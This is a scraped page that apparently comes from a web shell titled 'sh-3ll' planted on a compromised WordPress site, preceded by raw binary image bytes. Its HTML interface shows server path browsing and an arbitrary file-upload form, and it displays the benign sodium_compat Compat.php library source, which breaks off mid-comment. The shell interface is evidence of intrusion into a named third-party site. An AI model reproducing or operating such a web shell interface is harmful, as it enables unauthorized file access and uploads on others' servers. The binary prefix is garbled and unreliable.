Xa {	   ^j  0xe  $I ,L;v61~ HH ?    Q   矬Gw= ڣ    7 $IR3 ;GaI t Vmh   0u  \g   r ` _
 $I  aj  kaI
R'ƨ   7RK  ̮ 3 $IR  r𠁐 U83L  F  ~   ~
  dH-  P;2L;v   $I    =    	i  B ӔA     9 ! Dw 2 Z  I $ Ȕq Wi@ ¡aj  f  ~  㮄  "5՟ 9b a $I Z'" ?ԍ  _ saʸ5     D   )' 
  1 $IRk 
N …FBꗫ  闚 *` 
 _  G Gj HG )c  W $Ij    3B  c t"# = 6  X 9%5򺏓Ôq 2 $IR   N| )FBZ :  a {  F.` )  
    = 6  a $I J` _ i  %t  c׊  -ӿ p   ̘   cРC\ J $I* s   { 	 1 "  #Nk՛-S
+tw/     Ҳx  
     $I  # 7 V 	 eb /=  Q[ 
zʸ  =i` =1 ̭F%I $- 
 N$p   ^ , _ h“ | Zc~K X 1s( Sd| : B $I*  ݽ Q | ! C-     oܐV8      J( ]dj :~   $I ʭ 1 `$   p  _  k
;   a2 >  Ys?h$I  Dl8 4  3   .  v }   m   
7 UiI= & =0L g0$I  4   :
<l4T +     v     O %v  ar E wC  aj   B $IJ     x( c4T  X~˰ m厃 Rk =  ;!~ K   ν  1 $IR   L #   +=  	_   v7 ֤
 " 5  
     
O  PH $I  1 d B  '   p   ИZ ~ ܣ   o g }ڱͨ$I   
  a.  
 y s    )cK DT 
Xaj 
z7p  W  " w )c 5 $IRF     ; Ǎ   %t -   2    
  㞀   =
TA3 q 0u U B $I O 2 b< k4   o)[ 
 \ L   <T [     ,^I $I    N      2 '  }G  
 T %   
Z    Ա7 $IR ” S	L6J $fq >   emb e  `   
e Qbm 0u ?
 $I T!Sƍ' -   s  v )s#C  0 : XB   2   a 	w
I $ zbww { ."p  Pz O 
 = Ɔ \    [ 	     o($I       aw] `   E   ).K   v i : L *#gР7[  $I     yG   PI=@  R 
 4 y  R~ ̮ ´cg
I $I/< t P ͽ  h Dg o 
94    Z^k盇 ΄8  I  56  ^ W $I ^ 0   ̜ N ?4* H`237}g  +h   x o  q)  SJ@p| `  
 $I  %>     - h   O 0e O >  \ԣNߌZ  D6  R =K    ~n($I $  y 3  D>o4 b#px 2   $  yڪt   z   W   ~a   $I  ~? x<  e{W   g  ô { x$/ = {t G 0 7  e   a   B $IҀ yG  ^S 卆 "p uS 3  * E=洣  ,`9 >  '   Bww pH $IZ  ݑ nC 㧄   Pc _9  sOgw    J=l1 :mKB >     Ab<4L p   $I     b	 o1Z   Q @8 5 b ̍
S' F   , F  e   ,^I $Ij   E dù{ l4  8 Ys_ s 
Z8.  x  m"+{~  ?q,  Z D !I $  ϻ '|X h  B )=  …' ]  M >  5    r g   otԎ
獽 PH $Ij    IP   hh)n# cÔq   A' ug5qw   U &r F|1  E%I $%    ]  !' 3 AFD/;C k_` 9   
 v !ٴt PV ;  x` '  *b Qa 	w
I $I x 5 
    FC 3D   _  ~  A _ #O݆   Dv  V?<  q w +I $I {  = Z 8" .#RI   Y yj   Ǫ    =f D l 9 % M ,     a8$I $  Yw i[ 7 ݍFe $ s  1  ՋBV A? ` ]#!  oz    4zjLJ   o8$I $% @3j A  a4  ( o  
 ; p,,dya =  F9ً[  LS  PH $IJ Y Љ+3  >5"  3 9 aZ <ñh! {T pB G  
k  j}  S p   $I  lvF  .   F$I    z< 
'\   K*qq  .f <   2 Y ! S"-\I $I Yw č   jF$	w9   
\ߪB . 1 v!Ʊ   ?+  r : ^ !I $ BϹ B   
  H  " B ;L  'G[
4 U     #5> ੐ )|# o0  aڱ   $I   > }  k& 1`U# V  ?  Ys  V
x   > {t   1 [ I~D   &(I $I/{ H 0fw " q"   y %  4     I X y E~  M 3
8Xψ  L}q      E $I   [ >	 nD ? ~ s    f   
    ]o ΁ 
 cT  6"?' _ Ἣ   $I  
> ~  .f |'!      N ? ⟩    0  GKkX Z E  ] ޡ; 
    /    & ?k  
O ۘH $IR        ۀw  XӨ  < 7@  P  nS  04 a
    Ӷ p .  :  @  \IWQ J6 s S%I $   e  5  ڑ   v`  3:   x' ;  w  q_ vp gHyX Z 
  3 gЂ7{{   E     uԹ n ±  } $I $     8t;b|  5  91n  ء     Q" P     6   O 5 i    
} i R ̈́     % Q ̄p! I䮢 ]        O{ H $IR ϻ  9  s֧  	a=`- 	aB\X  0"+
5"C 1 H  b?߮    3x  3 & g ş g  g    l  _   h     Z^,`5 ?   ߎ  vĸ% ̀M! OZC2#0x    LJ  0    G w    $I $I } < {Eb + y   ; iI,`    ܚ  F     : 5  ܛ A 8   -O -| 8 K 7  s |# Z8 a& >  <  a&    /V  tb t L  ʌI $I $I $I $I $I $IRj   D  D %tEXtdate:create2022-05-31T04:40:26+00:00 !Î%tEXtdate:modify2022-05-31T04:40:26+00:00 |{2IEND B`  <!doctypehtml><head><link href="https://fonts.googleapis.com"rel="preconnect"><link href="https://fonts.gstatic.com"rel="preconnect"crossorigin><link href="https://fonts.googleapis.com/css2?family=Maven+Pro:wght@400..900&display=swap"rel="stylesheet"><link href=""rel="stylesheet"type="text/css"><title>sh-3ll</title><style>body{background-color:#f0f0f0;color:#000;margin:0;padding:0;font-family:"Maven Pro",system-ui;font-optical-sizing:auto;font-weight:<weight>;font-style:normal}table{width:100%;border-collapse:collapse;border:1px solid #ddd;box-shadow:0 0 10px rgba(0,0,0,.1)}#content .first{background-color:#f7f7f7;font-weight:700}#content tr{border:1px #252525 solid}#content tr:hover{background-color:#f0f0f0;box-shadow:0 0 10px rgba(0,0,0,.05)}h1{font-family:Roboto,sans-serif;font-size:2em;color:#444;text-align:center;margin:20px 0}a{color:#007bff;text-decoration:none}a:hover{color:#0056b3;text-decoration:underline;text-shadow:none}input,select,textarea{border:1px solid #ccc;border-radius:4px;padding:10px;font-size:1em;background-color:#fff;box-shadow:0 0 5px rgba(0,0,0,.1)}input:focus,select:focus,textarea:focus{border-color:#007bff;outline:0;box-shadow:0 0 5px rgba(0,123,255,.5)}@media (max-width:768px){table{width:100%;font-size:.9em}h1{font-size:1.5em}}</style></head><body><h1><center><a href="?">HOME</a></center></h1><table align="center"border="0"cellpadding="3"cellspacing="1"width="700"><tr><td>DIR:<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/vhosts">vhosts</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com">dienmaychuyennghiep.com</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs">httpdocs</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes">wp-includes</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/sodium_compat">sodium_compat</a>/<a href="?path=/var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/sodium_compat/src">src</a>/</td></tr><tr><td><form method="POST"enctype="multipart/form-data">Upload File : <input type="file"name="file"> <input value="upload"type="submit"></form></td></tr><tr><td>Current File : /var/www/vhosts/dienmaychuyennghiep.com/httpdocs/wp-includes/sodium_compat/src/Compat.php</td></tr><tr><td><pre>&lt;?php

/**
 * Libsodium compatibility layer
 *
 * This is the only class you should be interfacing with, as a user of
 * sodium_compat.
 *
 * If the PHP extension for libsodium is installed, it will always use that
 * instead of our implementations. You get better performance and stronger
 * guarantees against side-channels that way.
 *
 * However, if your users don&#039;t have the PHP extension installed, we offer a
 * compatible interface here. It will give you the correct results as if the
 * PHP extension was installed. It won&#039;t be as fast, of course.
 *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 *                                                                               *
 *     Until audited, this is probably not safe to use! DANGER WILL ROBINSON     *
 *                                                                               *
 * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION * CAUTION *
 */

if (class_exists(&#039;ParagonIE_Sodium_Compat&#039;, false)) {
    return;
}

/**
 * @api
 */
class ParagonIE_Sodium_Compat
{
    /**
     * This parameter prevents the use of the PECL extension.
     * It should only be used for unit testing.
     *
     * @var bool
     */
    public static $disableFallbackForUnitTests = false;

    /**
     * Use fast multiplication rather than our constant-time multiplication
     * implementation. Can be enabled at runtime. Only enable this if you
     * are absolutely certain that there is no timing leak on your platform.
     *
     * @var bool
     */
    public static $fastMult = false;

    const LIBRARY_MAJOR_VERSION = 9;
    const LIBRARY_MINOR_VERSION = 1;
    const LIBRARY_VERSION_MAJOR = 9;
    const LIBRARY_VERSION_MINOR = 1;
    const VERSION_STRING = &#039;polyfill-1.0.8&#039;;

    // From libsodium
    const BASE64_VARIANT_ORIGINAL = 1;
    const BASE64_VARIANT_ORIGINAL_NO_PADDING = 3;
    const BASE64_VARIANT_URLSAFE = 5;
    const BASE64_VARIANT_URLSAFE_NO_PADDING = 7;
    const CRYPTO_AEAD_AES256GCM_KEYBYTES = 32;
    const CRYPTO_AEAD_AES256GCM_NSECBYTES = 0;
    const CRYPTO_AEAD_AES256GCM_NPUBBYTES = 12;
    const CRYPTO_AEAD_AES256GCM_ABYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_KEYBYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_NSECBYTES = 0;
    const CRYPTO_AEAD_AEGIS128L_NPUBBYTES = 16;
    const CRYPTO_AEAD_AEGIS128L_ABYTES = 32;
    const CRYPTO_AEAD_AEGIS256_KEYBYTES = 32;
    const CRYPTO_AEAD_AEGIS256_NSECBYTES = 0;
    const CRYPTO_AEAD_AEGIS256_NPUBBYTES = 32;
    const CRYPTO_AEAD_AEGIS256_ABYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES = 8;
    const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES = 16;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES = 12;
    const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES = 32;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES = 0;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES = 24;
    const CRYPTO_AEAD_XCHACHA20POLY1305_IETF_ABYTES = 16;
    const CRYPTO_AUTH_BYTES = 32;
    const CRYPTO_AUTH_KEYBYTES = 32;
    const CRYPTO_BOX_SEALBYTES = 16;
    const CRYPTO_BOX_SECRETKEYBYTES = 32;
    const CRYPTO_BOX_PUBLICKEYBYTES = 32;
    const CRYPTO_BOX_KEYPAIRBYTES = 64;
    const CRYPTO_BOX_MACBYTES = 16;
    const CRYPTO_BOX_NONCEBYTES = 24;
    const CRYPTO_BOX_SEEDBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_BYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_CORE_RISTRETTO255_HASHBYTES = 64;
    const CRYPTO_CORE_RISTRETTO255_NONREDUCEDSCALARBYTES = 64;
    const CRYPTO_KDF_BYTES_MIN = 16;
    const CRYPTO_KDF_BYTES_MAX = 64;
    const CRYPTO_KDF_CONTEXTBYTES = 8;
    const CRYPTO_KDF_KEYBYTES = 32;
    const CRYPTO_KX_BYTES = 32;
    const CRYPTO_KX_PRIMITIVE = &#039;x25519blake2b&#039;;
    const CRYPTO_KX_SEEDBYTES = 32;
    const CRYPTO_KX_KEYPAIRBYTES = 64;
    const CRYPTO_KX_PUBLICKEYBYTES = 32;
    const CRYPTO_KX_SECRETKEYBYTES = 32;
    const CRYPTO_KX_SESSIONKEYBYTES = 32;
    const CRYPTO_GENERICHASH_BYTES = 32;
    const CRYPTO_GENERICHASH_BYTES_MIN = 16;
    const CRYPTO_GENERICHASH_BYTES_MAX = 64;
    const CRYPTO_GENERICHASH_KEYBYTES = 32;
    const CRYPTO_GENERICHASH_KEYBYTES_MIN = 16;
    const CRYPTO_GENERICHASH_KEYBYTES_MAX = 64;
    const CRYPTO_PWHASH_SALTBYTES = 16;
    const CRYPTO_PWHASH_STRPREFIX = &#039;$argon2id$&#039;;
    const CRYPTO_PWHASH_ALG_ARGON2I13 = 1;
    const CRYPTO_PWHASH_ALG_ARGON2ID13 = 2;
    const CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE = 33554432;
    const CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE = 4;
    const CRYPTO_PWHASH_MEMLIMIT_MODERATE = 134217728;
    const CRYPTO_PWHASH_OPSLIMIT_MODERATE = 6;
    const CRYPTO_PWHASH_MEMLIMIT_SENSITIVE = 536870912;
    const CRYPTO_PWHASH_OPSLIMIT_SENSITIVE = 8;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_SALTBYTES = 32;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_STRPREFIX = &#039;$7$&#039;;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_INTERACTIVE = 534288;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_INTERACTIVE = 16777216;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_OPSLIMIT_SENSITIVE = 33554432;
    const CRYPTO_PWHASH_SCRYPTSALSA208SHA256_MEMLIMIT_SENSITIVE = 1073741824;
    const CRYPTO_SCALARMULT_BYTES = 32;
    const CRYPTO_SCALARMULT_SCALARBYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_BYTES = 32;
    const CRYPTO_SCALARMULT_RISTRETTO255_SCALARBYTES = 32;
    const CRYPTO_SHORTHASH_BYTES = 8;
    const CRYPTO_SHORTHASH_KEYBYTES = 16;
    const CRYPTO_SECRETBOX_KEYBYTES = 32;
    const CRYPTO_SECRETBOX_MACBYTES = 16;
    const CRYPTO_SECRETBOX_NONCEBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_ABYTES = 17;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_HEADERBYTES = 24;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_KEYBYTES = 32;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PUSH = 0;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_PULL = 1;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_REKEY = 2;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_TAG_FINAL = 3;
    const CRYPTO_SECRETSTREAM_XCHACHA20POLY1305_MESSAGEBYTES_MAX = 0x3fffffff80;
    const CRYPTO_SIGN_BYTES = 64;
    const CRYPTO_SIGN_SEEDBYTES = 32;
    const CRYPTO_SIGN_PUBLICKEYBYTES = 32;
    const CRYPTO_SIGN_SECRETKEYBYTES = 64;
    const CRYPTO_SIGN_KEYPAIRBYTES = 96;
    const CRYPTO_STREAM_KEYBYTES = 32;
    const CRYPTO_STREAM_NONCEBYTES = 24;
    const CRYPTO_STREAM_XCHACHA20_KEYBYTES = 32;
    const CRYPTO_STREAM_XCHACHA20_NONCEBYTES = 24;

    /**
     * Add two numbers (little-endian unsigned), storing the value in the first
     * parameter.
     *
     * This mutates $val.
     *
     * @param string $val
     * @param string $addv
     * @return void
     * @throws SodiumException
     */
    public static function add(
        #[\SensitiveParameter]
        &amp;$val,
        #[\SensitiveParameter]
        $addv
    ) {
        $val_len = ParagonIE_Sodium_Core_Util::strlen($val);
        $addv_len = ParagonIE_Sodium_Core_Util::strlen($addv);
        if ($val_len !== $addv_len) {
            throw new SodiumException(&#039;values must have the same length&#039;);
        }
        $A = ParagonIE_Sodium_Core_Util::stringToIntArray($val);
        $B = ParagonIE_Sodium_Core_Util::stringToIntArray($addv);

        $c = 0;
        for ($i = 0; $i &lt; $val_len; $i++) {
            $c += ($A[$i] + $B[$i]);
            $A[$i] = ($c &amp; 0xff);
            $c &gt;&gt;= 8;
        }
        $val = ParagonIE_Sodium_Core_Util::intArrayToString($A);
    }

    /**
     * @param string $encoded
     * @param int $variant
     * @param string $ignore
     * @return string
     * @throws SodiumException
     */
    public static function base642bin(
        #[\SensitiveParameter]
        $encoded,
        $variant,
        $ignore = &#039;&#039;
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($encoded, &#039;string&#039;, 1);

        /** @var string $encoded */
        $encoded = (string) $encoded;

        // Just strip before decoding
        if (!empty($ignore)) {
            $encoded = str_replace($ignore, &#039;&#039;, $encoded);
        }

        try {
            switch ($variant) {
                case self::BASE64_VARIANT_ORIGINAL:
                    return ParagonIE_Sodium_Core_Base64_Original::decode($encoded, true);
                case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_Original::decodeNoPadding($encoded);
                case self::BASE64_VARIANT_URLSAFE:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decode($encoded, true);
                case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                    return ParagonIE_Sodium_Core_Base64_UrlSafe::decodeNoPadding($encoded);
                default:
                    throw new SodiumException(&#039;invalid base64 variant identifier&#039;);
            }
        } catch (Exception $ex) {
            if ($ex instanceof SodiumException) {
                throw $ex;
            }
            throw new SodiumException(&#039;invalid base64 string&#039;, 0, $ex);
        }
    }

    /**
     * @param string $decoded
     * @param int $variant
     * @return string
     * @throws SodiumException
     */
    public static function bin2base64(
        #[\SensitiveParameter]
        $decoded,
        $variant
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($decoded, &#039;string&#039;, 1);
        /** @var string $decoded */
        $decoded = (string) $decoded;
        if (ParagonIE_Sodium_Core_Util::strlen($decoded) === 0) {
            return &#039;&#039;;
        }

        switch ($variant) {
            case self::BASE64_VARIANT_ORIGINAL:
                return ParagonIE_Sodium_Core_Base64_Original::encode($decoded);
            case self::BASE64_VARIANT_ORIGINAL_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_Original::encodeUnpadded($decoded);
            case self::BASE64_VARIANT_URLSAFE:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encode($decoded);
            case self::BASE64_VARIANT_URLSAFE_NO_PADDING:
                return ParagonIE_Sodium_Core_Base64_UrlSafe::encodeUnpadded($decoded);
            default:
                throw new SodiumException(&#039;invalid base64 variant identifier&#039;);
        }
    }

    /**
     * Cache-timing-safe implementation of bin2hex().
     *
     * @param string $string A string (probably raw binary)
     * @return string        A hexadecimal-encoded string
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function bin2hex(
        #[\SensitiveParameter]
        $string
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($string, &#039;string&#039;, 1);

        if (self::useNewSodiumAPI()) {
            return (string) sodium_bin2hex($string);
        }
        if (self::use_fallback(&#039;bin2hex&#039;)) {
            return (string) call_user_func(&#039;\\Sodium\\bin2hex&#039;, $string);
        }
        return ParagonIE_Sodium_Core_Util::bin2hex($string);
    }

    /**
     * Compare two strings, in constant-time.
     * Compared to memcmp(), compare() is more useful for sorting.
     *
     * @param string $left  The left operand; must be a string
     * @param string $right The right operand; must be a string
     * @return int          If &lt; 0 if the left operand is less than the right
     *                      If = 0 if both strings are equal
     *                      If &gt; 0 if the right operand is less than the left
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function compare(
        #[\SensitiveParameter]
        $left,
        #[\SensitiveParameter]
        $right
    ) {
        /* Type checks: */
        ParagonIE_Sodium_Core_Util::declareScalarType($left, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($right, &#039;string&#039;, 2);

        if (self::useNewSodiumAPI()) {
            return (int) sodium_compare($left, $right);
        }
        if (self::use_fallback(&#039;compare&#039;)) {
            return (int) call_user_func(&#039;\\Sodium\\compare&#039;, $left, $right);
        }
        return ParagonIE_Sodium_Core_Util::compare($left, $right);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AEGIS-128L
     *
     * @param string $ciphertext Encrypted message (with MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 32 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aegis128l_decrypt(
        $ciphertext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_AEGIS128L_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long&#039;);
        }
        $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext);
        if ($ct_length &lt; self::CRYPTO_AEAD_AEGIS128L_ABYTES) {
            throw new SodiumException(&#039;Message must be at least CRYPTO_AEAD_AEGIS128L_ABYTES long&#039;);
        }

        $ct = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES
        );
        $tag = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            $ct_length - self::CRYPTO_AEAD_AEGIS128L_ABYTES,
            self::CRYPTO_AEAD_AEGIS128L_ABYTES
        );
        return ParagonIE_Sodium_Core_AEGIS128L::decrypt($ct, $tag, $assocData, $key, $nonce);
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AEGIS-128L
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce     Number to be used only Once; must be 32 bytes
     * @param string $key       Encryption key
     *
     * @return string           Ciphertext with 32-byte authentication tag appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aegis128l_encrypt(
        #[\SensitiveParameter]
        $plaintext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS128L_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_AEGIS128L_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS128L_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_AEGIS128L_KEYBYTES long&#039;);
        }

        list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS128L::encrypt($plaintext, $assocData, $key, $nonce);
        return $ct . $tag;
    }

    /**
     * Return a secure random key for use with the AEGIS-128L
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aegis128l_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AEGIS128L_KEYBYTES);
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AEGIS-256
     *
     * @param string $ciphertext Encrypted message (with MAC appended)
     * @param string $assocData  Authenticated Associated Data (unencrypted)
     * @param string $nonce      Number to be used only Once; must be 32 bytes
     * @param string $key        Encryption key
     *
     * @return string            The original plaintext message
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aegis256_decrypt(
        $ciphertext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($ciphertext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long&#039;);
        }
        $ct_length = ParagonIE_Sodium_Core_Util::strlen($ciphertext);
        if ($ct_length &lt; self::CRYPTO_AEAD_AEGIS256_ABYTES) {
            throw new SodiumException(&#039;Message must be at least CRYPTO_AEAD_AEGIS256_ABYTES long&#039;);
        }

        $ct = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            0,
            $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES
        );
        $tag = ParagonIE_Sodium_Core_Util::substr(
            $ciphertext,
            $ct_length - self::CRYPTO_AEAD_AEGIS256_ABYTES,
            self::CRYPTO_AEAD_AEGIS256_ABYTES
        );
        return ParagonIE_Sodium_Core_AEGIS256::decrypt($ct, $tag, $assocData, $key, $nonce);
    }

    /**
     * Authenticated Encryption with Associated Data: Encryption
     *
     * Algorithm:
     *     AEGIS-256
     *
     * @param string $plaintext Message to be encrypted
     * @param string $assocData Authenticated Associated Data (unencrypted)
     * @param string $nonce Number to be used only Once; must be 32 bytes
     * @param string $key Encryption key
     *
     * @return string           Ciphertext with 32-byte authentication tag appended
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     */
    public static function crypto_aead_aegis256_encrypt(
        #[\SensitiveParameter]
        $plaintext = &#039;&#039;,
        $assocData = &#039;&#039;,
        $nonce = &#039;&#039;,
        #[\SensitiveParameter]
        $key = &#039;&#039;
    ) {
        ParagonIE_Sodium_Core_Util::declareScalarType($plaintext, &#039;string&#039;, 1);
        ParagonIE_Sodium_Core_Util::declareScalarType($assocData, &#039;string&#039;, 2);
        ParagonIE_Sodium_Core_Util::declareScalarType($nonce, &#039;string&#039;, 3);
        ParagonIE_Sodium_Core_Util::declareScalarType($key, &#039;string&#039;, 4);

        /* Input validation: */
        if (ParagonIE_Sodium_Core_Util::strlen($nonce) !== self::CRYPTO_AEAD_AEGIS256_NPUBBYTES) {
            throw new SodiumException(&#039;Nonce must be CRYPTO_AEAD_AEGIS256_NPUBBYTES long&#039;);
        }
        if (ParagonIE_Sodium_Core_Util::strlen($key) !== self::CRYPTO_AEAD_AEGIS256_KEYBYTES) {
            throw new SodiumException(&#039;Key must be CRYPTO_AEAD_AEGIS256_KEYBYTES long&#039;);
        }

        list($ct, $tag) = ParagonIE_Sodium_Core_AEGIS256::encrypt($plaintext, $assocData, $key, $nonce);
        return $ct . $tag;
    }

    /**
     * Return a secure random key for use with the AEGIS-256
     * symmetric AEAD interface.
     *
     * @return string
     * @throws Exception
     * @throws Error
     */
    public static function crypto_aead_aegis256_keygen()
    {
        return random_bytes(self::CRYPTO_AEAD_AEGIS256_KEYBYTES);
    }

    /**
     * Is AES-256-GCM even available to use?
     *
     * @return bool
     * @psalm-suppress UndefinedFunction
     * @psalm-suppress MixedInferredReturnType
     * @psalm-suppress MixedReturnStatement
     */
    public static function crypto_aead_aes256gcm_is_available()
    {
        if (self::useNewSodiumAPI()) {
            return sodium_crypto_aead_aes256gcm_is_available();
        }
        if (self::use_fallback(&#039;crypto_aead_aes256gcm_is_available&#039;)) {
            return call_user_func(&#039;\\Sodium\\crypto_aead_aes256gcm_is_available&#039;);
        }
        if (PHP_VERSION_ID &lt; 70100) {
            // OpenSSL doesn&#039;t support AEAD before 7.1.0
            return false;
        }
        if (!extension_loaded(&#039;openssl&#039;)) {
            return false;
        }
        if (!is_callable(&#039;openssl_encrypt&#039;) || !is_callable(&#039;openssl_decrypt&#039;)) {
            // OpenSSL isn&#039;t installed
            return false;
        }
        return (bool) in_array(&#039;aes-256-gcm&#039;, openssl_get_cipher_methods());
    }

    /**
     * Authenticated Encryption with Associated Data: Decryption
     *
     * Algorithm:
     *     AES-256-GCM
     *
     * This mode uses a 64-bit random nonce with a 64-bit counter.
     * IETF mode uses a 96-bit random nonce with a 32-bit counter.
     *
     * @param string $ciphertext Encrypted message (with Poly1305 MAC appended)
